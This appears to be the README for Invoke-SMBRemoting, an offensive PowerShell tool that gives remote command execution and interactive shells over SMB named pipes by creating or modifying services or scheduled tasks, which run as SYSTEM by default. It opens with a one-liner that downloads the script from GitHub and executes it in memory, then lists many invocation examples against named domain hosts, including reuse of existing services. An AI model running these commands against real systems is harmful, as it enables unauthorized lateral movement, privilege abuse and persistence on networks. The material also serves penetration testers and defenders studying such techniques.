Interactive Shell and Command Execution over Named-Pipes (SMB) for Fileless lateral movement.
Invoke-SMBRemoting enables remote command execution or interactive shell access over SMB named pipes through service creation/modification or scheduled tasks.
The tool supports specifying commands or establishing a persistent shell connection, and requires administrative rights on the target.
First, load the script in memory:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Invoke-SMBRemoting/main/Invoke-SMBRemoting.ps1')
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local"
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -PipeName Something -ServiceName RandomService
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -Verbose
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -ServiceName SensorService -Verbose
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all"
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" -PipeName Something -ServiceName RandomService
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" -ModifyService
Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" -ModifyService -ServiceName SensorService -Verbose
Invoke-SMBRemoting can now leverage Scheduled Tasks to enable command execution or interactive shell access over Named Pipes (SMB) on a remote host.
On the remote host, created tasks will run as SYSTEM by default, but you can run them in the current user context by using the -AsUser switch
Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask
Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask -Command "whoami /all"
Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask -AsUser
Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask -AsUser -Command "whoami /all"
